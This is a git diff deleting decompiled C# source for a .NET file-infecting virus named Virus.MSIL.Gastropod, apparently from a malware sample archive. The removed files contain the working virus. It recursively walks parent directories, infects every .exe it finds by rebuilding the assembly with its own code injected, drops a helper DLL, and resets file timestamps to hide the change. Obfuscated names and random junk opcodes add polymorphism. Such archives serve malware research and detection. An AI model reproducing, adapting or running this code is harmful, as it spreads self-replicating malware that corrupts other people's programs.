intype]).DefineMethod(!xrieopydqqcD.pbybjr(intype) || !(name != "Go") ? name : xrieopydqqcD.nPsiueq.meqqpaup(), method.Attributes, method.CallingConvention, returnType1, parameterTypes); - xrieopydqqcD.cfwiwf(method, ref methodBuilder); - this.dpvRmlkx.Add((object) method, (object) methodBuilder); - } - } - - public MethodBuilder vzIyvrjxjhnz(Type type, MethodBase methodBase) => (MethodBuilder) this.dpvRmlkx[(object) methodBase]; - - public ConstructorBuilder etbaebi(Type type, ConstructorInfo ctorInfo) => (ConstructorBuilder) this.tdezqdx[(object) ctorInfo]; - - public PropertyBuilder cxbxwfGbvw(Type type, PropertyInfo propertyInfo) => (PropertyBuilder) this.mrxlxxb[(object) propertyInfo]; - - public FieldBuilder etqEvak(Type type, FieldInfo fieldInfo) => (FieldBuilder) this.ogYpkJpu[(object) fieldInfo]; - - public EventBuilder regxwudgm(Type type, EventInfo eventInfo) => (EventBuilder) this.oVyLaxwaigqugf[(object) eventInfo]; - - public TypeBuilder xEKtafwb(Type type) => (TypeBuilder) this.uXrDBub[(object) type]; - } - - private class uAfzmzmprnjlw - { - private ILGenerator pyhXwbpoavf; - private LocalBuilder[] mxQycuduaewb; - - public uAfzmzmprnjlw(ILGenerator ilGenerator, LocalBuilder[] localBuilders) - { - this.pyhXwbpoavf = ilGenerator; - this.mxQycuduaewb = localBuilders; - } - - public void qwghiubYc() - { - if (xrieopydqqcD.fhekWzTk.Next(5) == 0) - this.pyhXwbpoavf.Emit(OpCodes.Nop); - if (xrieopydqqcD.fhekWzTk.Next(10) != 0) - return; - if (this.mxQycuduaewb.Length <= 0) - return; - LocalBuilder local = this.mxQycuduaewb[xrieopydqqcD.fhekWzTk.Next(this.mxQycuduaewb.Length)]; - this.pyhXwbpoavf.Emit(OpCodes.Ldloc, local); - this.pyhXwbpoavf.Emit(OpCodes.Pop); - } - } - - private sealed class AssemblyProvider : IAssemblyProvider - { - public Assembly[] GetAssemblies() => throw new NotImplementedException(); - - public Assembly Load(string assemblyName) => Assembly.Load(assemblyName); - } - - private class uodsxxuliiz - { - protected int ftxnMowORygvdi; - protected byte[] kRfqbwulkgqAc = new byte[128]; - - [SpecialName] - public int tpgqkpkucfthn() => this.ftxnMowORygvdi; - - public void zEtgol(BinaryReader source) - { - source.Read(this.kRfqbwulkgqAc, 0, this.kRfqbwulkgqAc.Length); - this.ftxnMowORygvdi = (int) this.kRfqbwulkgqAc[60] | (int) this.kRfqbwulkgqAc[61] << 8 | (int) this.kRfqbwulkgqAc[62] << 16 | (int) this.kRfqbwulkgqAc[63] << 24; - } - int VkfuAdueietrwf { } - } - - private class tbetzkWdxclu - { - protected byte[] dbuWVyWvoyZ = new byte[4]; - protected ushort fwdfRfznhOP; - protected ushort Wlamzygz; - protected int qhrwbqlgjeoO; - protected ushort gagildi; - protected ushort pzvoswu; - protected ushort kckVuizcbcDAow; - protected byte kowgmxxN; - protected byte opvRlWhhwc; - protected uint dwoefnpXutrz; - protected uint FqAkzdugl; - protected uint jrkcihx; - protected uint ioFCpuzmgW; - protected uint OgxbrfWjfwvxwm; - protected uint bbrkwfgyuKmfs; - protected uint omoJiRDqs; - public uint oZccafviqmv; - public uint qcgvnlipvlodxd; - protected ushort flvrzqKsjfyfpn; - protected ushort czrifgkq; - protected ushort eknxaubvtjjjk; - protected ushort yOpmdvr; - protected ushort qodlrg; - protected ushort lajYmep; - protected uint oipcvaNwis; - public uint wfcDkot; - protected uint rniejlqwwqeGiq; - protected uint lTcTlrfjb; - protected uint ordPiyulwi; - protected uint cKyyxgqvrn; - protected uint lnxuntdcaF; - protected uint LSdpeugiccJ; - protected uint mntqhkrna; - protected uint izxuyCw; - protected uint fqwnmW; - protected xrieopydqqcD.Lxfiwlr chybnpzSfnk; - protected xrieopydqqcD.Lxfiwlr CjVmbDjahhu; - public xrieopydqqcD.Lxfiwlr xuhigl; - protected xrieopydqqcD.Lxfiwlr pgaovje; - protected xrieopydqqcD.Lxfiwlr Awcmafsxyoyoz; - protected xrieopydqqcD.Lxfiwlr bkcbcbrPTv; - protected xrieopydqqcD.Lxfiwlr xLqhoJnfdauco; - protected xrieopydqqcD.Lxfiwlr iuefJadjlmSqs; - protected xrieopydqqcD.Lxfiwlr HBhaviAgqQwgd; - protected xrieopydqqcD.Lxfiwlr cwEkaj; - protected xrieopydqqcD.Lxfiwlr coclmzbixmBz; - protected xrieopydqqcD.Lxfiwlr epghzbnpylrmcw; - protected xrieopydqqcD.Lxfiwlr qVcukYccYwphdc; - protected xrieopydqqcD.Lxfiwlr iRxpIqtk; - public xrieopydqqcD.Lxfiwlr ojdawxlVjc; - public xrieopydqqcD.Lxfiwlr enqfwxab; - public ArrayList fraswujhugwtyy; - - public byte[] lutszZ(BinaryReader source) - { - byte[] numArray; - try - { - if (this.xuhigl.oKmirJgnjsztiu != 0U) - { - source.BaseStream.Position = (long) this.puHuafvnRne(this.xuhigl.oKmirJgnjsztiu); - numArray = source.ReadBytes((int) this.xuhigl.xFnWepm); - } - else - numArray = (byte[]) null; - } - catch - { - numArray = (byte[]) null; - } - return numArray; - } - - public void tlnpgvuqkwqot(BinaryReader source, xrieopydqqcD.uodsxxuliiz msdosheader) - { - source.BaseStream.Position = (long) msdosheader.tpgqkpkucfthn(); - source.Read(this.dbuWVyWvoyZ, 0, 4); - if (this.dbuWVyWvoyZ[0] == (byte) 80 && this.dbuWVyWvoyZ[1] == (byte) 69 && this.dbuWVyWvoyZ[2] == (byte) 0) - { - if (this.dbuWVyWvoyZ[3] == (byte) 0) - { - this.fwdfRfznhOP = source.ReadUInt16(); - if (this.fwdfRfznhOP != (ushort) 332) - throw new Exception("Incorrect machine id code"); - this.Wlamzygz = source.ReadUInt16(); - this.qhrwbqlgjeoO = source.ReadInt32(); - if (source.ReadInt32() != 0) - throw new Exception("Symbol table offset != 0"); - this.gagildi = source.ReadInt32() == 0 ? source.ReadUInt16() : throw new Exception("Symbol table count != 0"); - this.pzvoswu = source.ReadUInt16(); - this.kckVuizcbcDAow = source.ReadUInt16(); - if (this.kckVuizcbcDAow != (ushort) 267) - throw new Exception("Bad magic number for PE Optional Header"); - this.kowgmxxN = source.ReadByte(); - this.opvRlWhhwc = source.ReadByte(); - if (this.kowgmxxN != (byte) 6 || this.opvRlWhhwc != (byte) 0) - throw new Exception("Bad L number"); - this.dwoefnpXutrz = source.ReadUInt32(); - this.FqAkzdugl = source.ReadUInt32(); - this.jrkcihx = source.ReadUInt32(); - this.ioFCpuzmgW = source.ReadUInt32(); - this.OgxbrfWjfwvxwm = source.ReadUInt32(); - this.bbrkwfgyuKmfs = source.ReadUInt32(); - this.omoJiRDqs = source.ReadUInt32(); - this.oZccafviqmv = source.ReadUInt32(); - this.qcgvnlipvlodxd = source.ReadUInt32(); - this.flvrzqKsjfyfpn = source.ReadUInt16(); - this.czrifgkq = source.ReadUInt16(); - this.eknxaubvtjjjk = source.ReadUInt16(); - this.yOpmdvr = source.ReadUInt16(); - this.qodlrg = source.ReadUInt16(); - this.lajYmep = source.ReadUInt16(); - int num1 = (int) source.ReadUInt32(); - this.wfcDkot = source.ReadUInt32(); - this.oipcvaNwis = source.ReadUInt32(); - this.rniejlqwwqeGiq = source.ReadUInt32(); - this.lTcTlrfjb = (uint) source.ReadUInt16(); - this.ordPiyulwi = (uint) source.ReadUInt16(); - this.cKyyxgqvrn = source.ReadUInt32(); - this.lnxuntdcaF = source.ReadUInt32(); - this.LSdpeugiccJ = source.ReadUInt32(); - this.mntqhkrna = source.ReadUInt32(); - this.izxuyCw = source.ReadUInt32(); - this.fqwnmW = source.ReadUInt32(); - this.chybnpzSfnk = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32()); - this.CjVmbDjahhu = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32()); - this.xuhigl = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32()); - this.pgaovje = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32()); - this.Awcmafsxyoyoz = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32()); - this.bkcbcbrPTv = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32()); - this.xLqhoJnfdauco = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32()); - this.iuefJadjlmSqs = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32()); - this.HBhaviAgqQwgd = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32()); - this.cwEkaj = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32()); - this.coclmzbixmBz = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32()); - this.epghzbnpylrmcw = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32()); - this.qVcukYccYwphdc = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32()); - this.iRxpIqtk = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32()); - this.ojdawxlVjc = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32()); - this.enqfwxab = new xrieopydqqcD.Lxfiwlr(source.ReadUInt32(), source.ReadUInt32()); - this.fraswujhugwtyy = new ArrayList(); - int num2; - for (int index = 0; index < (int) this.Wlamzygz; index = num2) - { - this.fraswujhugwtyy.Add((object) new xrieopydqqcD.cMOoOgkad()); - ((xrieopydqqcD.cMOoOgkad) this.fraswujhugwtyy[index]).cpjyNhkOdatzKl(source); - num2 = index + 1; - } - return; - } - } - throw new Exception("Missing PE file signature"); - } - - public uint puHuafvnRne(uint rva) - { - int index = 0; - while (true) - { - if (index < this.fraswujhugwtyy.Count) - { - if (((xrieopydqqcD.cMOoOgkad) this.fraswujhugwtyy[index]).hexohhn <= rva) - { - if (rva < (uint) ((int) ((xrieopydqqcD.cMOoOgkad) this.fraswujhugwtyy[index]).hexohhn + (int) ((xrieopydqqcD.cMOoOgkad) this.fraswujhugwtyy[index]).huntmwlbo)) - break; - } - ++index; - } - else - goto label_6; - } - return (uint) ((int) ((xrieopydqqcD.cMOoOgkad) this.fraswujhugwtyy[index]).zmeiajmfzkjpje + ((int) rva - (int) ((xrieopydqqcD.cMOoOgkad) this.fraswujhugwtyy[index]).hexohhn)); -label_6: - throw new Exception("Unresolvable RVA " + (object) rva); - } - } - - private class xdohkoinFjot : xrieopydqqcD.tbetzkWdxclu - { - public void oDleyn( - xrieopydqqcD.Lxfiwlr d, - BinaryWriter dest, - xrieopydqqcD.uodsxxuliiz msdosheader) - { - dest.BaseStream.Position = (long) (msdosheader.tpgqkpkucfthn() + 136); - dest.Write(d.oKmirJgnjsztiu); - dest.Write(d.xFnWepm); - } - - public void lnaqeacWglxCZk( - xrieopydqqcD.cMOoOgkad sh, - BinaryReader source, - BinaryWriter dest, - xrieopydqqcD.uodsxxuliiz msdosheader) - { - source.BaseStream.Position = (long) (msdosheader.tpgqkpkucfthn() + 6); - ushort num = source.ReadUInt16(); - dest.BaseStream.Position = (long) (msdosheader.tpgqkpkucfthn() + 6); - dest.Write((int) num + 1); - dest.BaseStream.Position = (long) (msdosheader.tpgqkpkucfthn() + 248 + (int) num * 40); - sh.uwpzuX(dest); - } - - public void gilxoegqvcjfl( - uint isize, - BinaryWriter dest, - xrieopydqqcD.uodsxxuliiz msdosheader) - { - dest.BaseStream.Position = (long) (msdosheader.tpgqkpkucfthn() + 80); - dest.Write(isize); - } - - public void Rzpnwvm( - uint resOffset, - uint oldResRVA, - uint newResRVA, - BinaryReader src, - BinaryWriter dest) - { - this.sgrmeipkAnBhqm(resOffset, 0U, oldResRVA, newResRVA, src, dest); - } - - private void sgrmeipkAnBhqm( - uint resOffset, - uint nodeOffset, - uint oldResRVA, - uint newResRVA, - BinaryReader src, - BinaryWriter dest) - { - src.BaseStream.Position = (long) (uint) ((int) resOffset + (int) nodeOffset + 12); - ushort num1 = (ushort) ((int) src.ReadUInt16() + (int) src.ReadUInt16()); - for (int index = 0; index < (int) num1; ++index) - { - int num2 = (int) src.ReadUInt32(); - uint num3 = src.ReadUInt32(); - long position = src.BaseStream.Position; - if (((int) num3 & int.MinValue) != 0) - this.sgrmeipkAnBhqm(resOffset, num3 & (uint) int.MaxValue, oldResRVA, newResRVA, src, dest); - else - this.zpsnikHqgjml(resOffset + num3, oldResRVA, newResRVA, src, dest); - src.BaseStream.Position = position; - } - } - - private void zpsnikHqgjml( - uint dataOffset, - uint oldResRVA, - uint newResRVA, - BinaryReader src, - BinaryWriter dest) - { - src.BaseStream.Position = (long) dataOffset; - uint num = (uint) ((int) src.ReadUInt32() + (int) newResRVA) - oldResRVA; - dest.BaseStream.Position = src.BaseStream.Position - 4L; - dest.Write(num); - dest.BaseStream.Position += 12L; - src.BaseStream.Position += 12L; - } - } - - private class Lxfiwlr - { - public uint oKmirJgnjsztiu; - public uint xFnWepm; - - public Lxfiwlr(uint rva, uint size) - { - this.oKmirJgnjsztiu = rva; - this.xFnWepm = size; - } - - public virtual string havcSukidKb() => "0x" + this.oKmirJgnjsztiu.ToString("X8") + ",0x" + this.xFnWepm.ToString("X8"); - } - - private class cMOoOgkad - { - public byte[] sqfdnCu; - public uint huntmwlbo; - public uint hexohhn; - public uint yzpzejsLoIjz; - public uint zmeiajmfzkjpje; - protected uint bsmgrjy; - protected uint bbckpgkiwla; - protected ushort azhalHymxuSN; - protected ushort jnmirtxawxXta; - public uint fbkZmonjqz; - - public cMOoOgkad() - { - this.jnmirtxawxXta = (ushort) 0; - this.azhalHymxuSN = (ushort) 0; - this.bbckpgkiwla = 0U; - this.bsmgrjy = 0U; - } - - public cMOoOgkad( - string strname, - uint vsize, - uint vaddr, - uint phsize, - uint phoffs, - uint flags) - { - this.sqfdnCu = new byte[8]; - int num; - for (int index = 0; index < strname.Length && index < 8; index = num + 1) - { - this.sqfdnCu[index] = (byte) strname[index]; - num = index; - } - this.huntmwlbo = vsize; - this.hexohhn = vaddr; - this.yzpzejsLoIjz = phsize; - this.zmeiajmfzkjpje = phoffs; - this.fbkZmonjqz = flags; - this.jnmirtxawxXta = (ushort) 0; - this.azhalHymxuSN = (ushort) 0; - this.bbckpgkiwla = 0U; - this.bsmgrjy = 0U; - } - - public void uwpzuX(BinaryWriter dest) - { - dest.Write(this.sqfdnCu, 0, 8); - dest.Write(this.huntmwlbo); - dest.Write(this.hexohhn); - dest.Write(this.yzpzejsLoIjz); - dest.Write(this.zmeiajmfzkjpje); - dest.Write(this.bsmgrjy); - dest.Write(this.bbckpgkiwla); - dest.Write(this.azhalHymxuSN); - dest.Write(this.jnmirtxawxXta); - dest.Write(this.fbkZmonjqz); - } - - public void cpjyNhkOdatzKl(BinaryReader source) - { - this.sqfdnCu = new byte[8]; - source.Read(this.sqfdnCu, 0, 8); - this.huntmwlbo = source.ReadUInt32(); - this.hexohhn = source.ReadUInt32(); - this.yzpzejsLoIjz = source.ReadUInt32(); - this.zmeiajmfzkjpje = source.ReadUInt32(); - this.bsmgrjy = source.ReadUInt32(); - this.bbckpgkiwla = source.ReadUInt32(); - this.azhalHymxuSN = source.ReadUInt16(); - this.jnmirtxawxXta = source.ReadUInt16(); - this.fbkZmonjqz = source.ReadUInt32(); - } - } - - private class ckefmcnikpjcme - { - private Random rremja; - private int goekrx; - private int sloxWqfbt; - - public ckefmcnikpjcme(int len1, int len2, int seed) - { - this.rremja = new Random(seed); - this.goekrx = len1; - this.sloxWqfbt = len2; - } - - public string meqqpaup() - { - string str = ""; - int num1 = this.rremja.Next(this.goekrx, this.sloxWqfbt); - int num2; - for (int index = 0; index < num1; index = num2 + 1) - { - if (this.rremja.Next(8) == 1) - str += (string) (object) (char) (65 + this.rremja.Next(26)); - else - str += (string) (object) (char) (97 + this.rremja.Next(26)); - num2 = index; - } - return str; - } - } - } -} diff --git a/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-3da647492dbf464bd7c6ca18c70e0a510e03dd25b149786cd96bf8c8dbcaa29e/AssemblyInfo.cs b/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-3da647492dbf464bd7c6ca18c70e0a510e03dd25b149786cd96bf8c8dbcaa29e/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-3da647492dbf464bd7c6ca18c70e0a510e03dd25b149786cd96bf8c8dbcaa29e/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-3da647492dbf464bd7c6ca18c70e0a510e03dd25b149786cd96bf8c8dbcaa29e/MainApp.cs b/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-3da647492dbf464bd7c6ca18c70e0a510e03dd25b149786cd96bf8c8dbcaa29e/MainApp.cs deleted file mode 100644 index afc897df..00000000 --- a/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-3da647492dbf464bd7c6ca18c70e0a510e03dd25b149786cd96bf8c8dbcaa29e/MainApp.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MainApp -// Assembly: sna, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B33CF1F9-9697-4137-81AE-C49BE0C90EB5 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.MSIL.Gastropod-3da647492dbf464bd7c6ca18c70e0a510e03dd25b149786cd96bf8c8dbcaa29e.exe - -using System.Threading; -using zwuUkpmiAMoxhf; - -internal class MainApp -{ - public static void Main() - { - Thread thread = new Thread(new ThreadStart(lapixb.Go)); - thread.Start(); - Thread.Sleep(100000); - thread.Abort(); - } -} diff --git a/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-3da647492dbf464bd7c6ca18c70e0a510e03dd25b149786cd96bf8c8dbcaa29e/Virus.MSIL.Gastropod.csproj b/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-3da647492dbf464bd7c6ca18c70e0a510e03dd25b149786cd96bf8c8dbcaa29e/Virus.MSIL.Gastropod.csproj deleted file mode 100644 index fbc6eebb..00000000 --- a/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-3da647492dbf464bd7c6ca18c70e0a510e03dd25b149786cd96bf8c8dbcaa29e/Virus.MSIL.Gastropod.csproj +++ /dev/null @@ -1,37 +0,0 @@ - - - - - Debug - AnyCPU - {17EC3B78-A178-42F5-B9C7-DDE7ADB60015} - WinExe - sna - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-3da647492dbf464bd7c6ca18c70e0a510e03dd25b149786cd96bf8c8dbcaa29e/Virus.MSIL.Gastropod.sln b/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-3da647492dbf464bd7c6ca18c70e0a510e03dd25b149786cd96bf8c8dbcaa29e/Virus.MSIL.Gastropod.sln deleted file mode 100644 index 4cf63ca1..00000000 --- a/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-3da647492dbf464bd7c6ca18c70e0a510e03dd25b149786cd96bf8c8dbcaa29e/Virus.MSIL.Gastropod.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "sna", "Virus.MSIL.Gastropod-3da647492dbf464bd7c6ca18c70e0a510e03dd25b149786cd96bf8c8dbcaa29e.csproj", "{17EC3B78-A178-42F5-B9C7-DDE7ADB60015}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {17EC3B78-A178-42F5-B9C7-DDE7ADB60015}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {17EC3B78-A178-42F5-B9C7-DDE7ADB60015}.Debug|Any CPU.Build.0 = Debug|Any CPU - {17EC3B78-A178-42F5-B9C7-DDE7ADB60015}.Release|Any CPU.ActiveCfg = Release|Any CPU - {17EC3B78-A178-42F5-B9C7-DDE7ADB60015}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-3da647492dbf464bd7c6ca18c70e0a510e03dd25b149786cd96bf8c8dbcaa29e/zwuUkpmiAMoxhf/lapixb.cs b/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-3da647492dbf464bd7c6ca18c70e0a510e03dd25b149786cd96bf8c8dbcaa29e/zwuUkpmiAMoxhf/lapixb.cs deleted file mode 100644 index aacda997..00000000 --- a/MSIL/Virus/MSIL/G/Virus.MSIL.Gastropod-3da647492dbf464bd7c6ca18c70e0a510e03dd25b149786cd96bf8c8dbcaa29e/zwuUkpmiAMoxhf/lapixb.cs +++ /dev/null @@ -1,1916 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: zwuUkpmiAMoxhf.lapixb -// Assembly: sna, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B33CF1F9-9697-4137-81AE-C49BE0C90EB5 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.MSIL.Gastropod-3da647492dbf464bd7c6ca18c70e0a510e03dd25b149786cd96bf8c8dbcaa29e.exe - -using Reflector.Disassembler; -using System; -using System.Collections; -using System.Globalization; -using System.IO; -using System.Reflection; -using System.Reflection.Emit; -using System.Runtime.CompilerServices; -using System.Security.Policy; -using System.Threading; - -namespace zwuUkpmiAMoxhf -{ - internal class lapixb - { - private static lapixb.xkocvnL sbcjzvkbfjnuoi = new lapixb.xkocvnL(6, 15, Environment.TickCount); - private static Random idvvngznumgka = new Random(Environment.TickCount); - private static byte[] qxdznhgU; - private static MethodBase doHuwvavrOnb; - public static bool angmrruuqmQqbb; - - public lapixb(string inFileName, string outFileName) - { - try - { - lapixb.angmrruuqmQqbb = true; - lapixb.qLjThuTb(inFileName, outFileName); - if (lapixb.angmrruuqmQqbb) - return; - lapixb.qLjThuTb(inFileName, outFileName); - } - catch (Exception ex) - { - } - } - - private static bool ghlfunj(Type t) - { - Assembly assembly = t.Assembly; - bool flag1; - int num1 = flag1 ? 1 : 0; - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - int num2; - if ((object) assembly == (object) executingAssembly) - { - int num3 = flag1 ? 1 : 0; - num2 = -1 == t.FullName.IndexOf("AssemblyProvider") ? 1 : 0; - } - else - { - num2 = 0; - int num4 = flag1 ? 1 : 0; - } - bool flag2 = num2 != 0; - int num5 = flag2 ? 1 : 0; - return flag2; - } - - public static void Go() - { - lapixb.qxdznhgU = lapixb.gcpVoenwxmnp(); - string currentDirectory; - do - { - lapixb.Dxuwodkam(); - currentDirectory = Directory.GetCurrentDirectory(); - Directory.SetCurrentDirectory(".."); - } - while (currentDirectory != Directory.GetCurrentDirectory()); - } - - public static void Dxuwodkam() - { - string[] files = Directory.GetFiles(".", "*.exe"); - if (files.Length == 0) - return; - bool flag = File.Exists("ILReader.dll"); - if (!flag && lapixb.qxdznhgU != null) - { - FileStream output = new FileStream("ILReader.dll", FileMode.CreateNew, FileAccess.ReadWrite); - if (output != null) - new BinaryWriter((Stream) output).Write(lapixb.qxdznhgU); - output.Close(); - } - string[] strArray = files; - int index = 0; - while (true) - { - if (index < strArray.Length) - { - string fileName = Path.GetFileName(strArray[index]); - string withoutExtension = Path.GetFileNameWithoutExtension(fileName); - string str = "_" + fileName; - if (fileName[0] != '_') - { - if ((withoutExtension == Assembly.GetExecutingAssembly().GetName().Name ? 1 : 0) == 0 && !File.Exists(str)) - { - DateTime creationTime1 = File.GetCreationTime(fileName); - int num1 = flag ? 1 : 0; - DateTime creationTime2 = creationTime1; - DateTime lastAccessTime = File.GetLastAccessTime(fileName); - DateTime lastWriteTime = File.GetLastWriteTime(fileName); - File.Move(fileName, str); - int num2 = flag ? 1 : 0; - try - { - object[] args = new object[2] - { - (object) str, - (object) fileName - }; - AppDomain domain = AppDomain.CreateDomain("domain"); - Type type = typeof (lapixb); - string name = Assembly.GetExecutingAssembly().GetName().Name; - domain.CreateInstance(name, type.FullName, false, BindingFlags.Default, (Binder) null, args, (CultureInfo) null, (object[]) null, (Evidence) null); - AppDomain.Unload(domain); - if (File.Exists(fileName)) - { - File.Delete(str); - lapixb.oswdhvvoxThrks(fileName, lapixb.qxdznhgU); - File.SetCreationTime(fileName, creationTime2); - File.SetLastAccessTime(fileName, lastAccessTime); - File.SetLastWriteTime(fileName, lastWriteTime); - string path = withoutExtension + ".resources"; - if (File.Exists(path)) - { - File.SetCreationTime(path, creationTime2); - File.SetLastAccessTime(path, lastAccessTime); - File.SetLastWriteTime(path, lastWriteTime); - } - } - else - File.Move(str, fileName); - } - catch (ThreadAbortException ex) - { - File.Move(str, fileName); - } - catch (Exception ex) - { - } - } - } - ++index; - } - else - break; - } - if (flag) - return; - File.Delete("ILReader.dll"); - } - - private static PEFileKinds ljIpwyhM(string filename) - { - FileStream fileStream = new FileStream(filename, FileMode.Open, FileAccess.Read); - PEFileKinds peFileKinds; - if (fileStream == null) - { - peFileKinds = (PEFileKinds) 0; - } - else - { - byte[] buffer = new byte[4]; - fileStream.Seek(60L, SeekOrigin.Begin); - fileStream.Read(buffer, 0, 4); - uint num = (uint) ((int) buffer[0] | (int) ((uint) buffer[1] >> 8) | (int) ((uint) buffer[2] >> 16) | (int) ((uint) buffer[3] >> 24)); - fileStream.Seek((long) (num + 92U), SeekOrigin.Begin); - fileStream.Read(buffer, 0, 1); - fileStream.Close(); - peFileKinds = buffer[0] != (byte) 3 ? PEFileKinds.WindowApplication : PEFileKinds.ConsoleApplication; - } - return peFileKinds; - } - - public static void qLjThuTb(string inFileName, string outFileName) - { - PEFileKinds filetype = lapixb.ljIpwyhM(inFileName); - lapixb.pxzcLbqGmyxaek typelist = new lapixb.pxzcLbqGmyxaek(); - AssemblyBuilder ab = Thread.GetDomain().DefineDynamicAssembly(new AssemblyName() - { - Name = Path.GetFileNameWithoutExtension(outFileName) - }, AssemblyBuilderAccess.RunAndSave); - Assembly asm = Assembly.LoadFrom(inFileName); - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - Module[] modules1 = asm.GetModules(); - ModuleBuilder moduleBuilder1 = (ModuleBuilder) null; - int num1; - for (int index1 = 0; index1 < modules1.Length; index1 = num1 + 1) - { - Module module1 = modules1[index1]; - ModuleBuilder moduleBuilder2 = ab.DefineDynamicModule(module1.Name, outFileName); - ModuleReader reader1 = new ModuleReader(module1, (IAssemblyProvider) new lapixb.AssemblyProvider()); - moduleBuilder2.CreateGlobalFunctions(); - Type[] types1 = module1.GetTypes(); - foreach (Type type1 in types1) - { - if (type1.GetNestedTypes(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic).Length == typeof (lapixb).GetNestedTypes(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic).Length && type1.GetMethods().Length == typeof (lapixb).GetMethods().Length) - return; - foreach (MethodBase method in type1.GetMethods(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic)) - { - if ((object) asm.EntryPoint == (object) method) - { - moduleBuilder1 = moduleBuilder2; - Module[] modules2 = executingAssembly.GetModules(); - int index2 = 0; - for (; index2 < modules2.Length; ++index2) - { - Module module2 = modules2[index2]; - ModuleReader reader2 = new ModuleReader(module2, (IAssemblyProvider) new lapixb.AssemblyProvider()); - Type[] types2 = module2.GetTypes(); - Type[] typeArray1 = types2; - int index3 = 0; - while (true) - { - if (index3 < typeArray1.Length) - { - Type type2 = typeArray1[index3]; - if ((object) type2 == (object) typeof (lapixb)) - lapixb.xToeaQ(type2, (Type) null, moduleBuilder2, reader2, typelist); - if (type2.FullName.Length > 22 && type2.FullName.Substring(0, 22) == "Reflector.Disassembler") - lapixb.xToeaQ(type2, (Type) null, moduleBuilder2, reader2, typelist); - ++index3; - } - else - break; - } - Type[] typeArray2 = types2; - int num2; - for (int index4 = 0; index4 < typeArray2.Length; index4 = num2 + 1) - { - Type intype = typeArray2[index4]; - typelist.efPfdz(intype, moduleBuilder2); - num2 = index4; - } - foreach (Type type3 in types2) - { - Type type4 = type3; - if ((object) type4 == (object) typeof (lapixb)) - lapixb.nkXsIRD(type4, (Type) null, reader2, asm, ref ab, false, filetype, typelist); - if (type4.FullName.Length > 22) - { - if ((type4.FullName.Substring(0, 22) == "Reflector.Disassembler" ? 1 : 0) != 0) - lapixb.nkXsIRD(type4, (Type) null, reader2, asm, ref ab, false, filetype, typelist); - } - } - } - } - } - } - foreach (Type type in types1) - lapixb.xToeaQ(type, (Type) null, moduleBuilder2, reader1, typelist); - Type[] typeArray3 = types1; - int index5 = 0; - while (true) - { - if (index5 < typeArray3.Length) - { - Type intype = typeArray3[index5]; - typelist.efPfdz(intype, moduleBuilder2); - ++index5; - } - else - break; - } - Type[] typeArray4 = types1; - int index6 = 0; - while (index6 < typeArray4.Length) - { - lapixb.nkXsIRD(typeArray4[index6], (Type) null, reader1, asm, ref ab, true, filetype, typelist); - ++index6; - } - 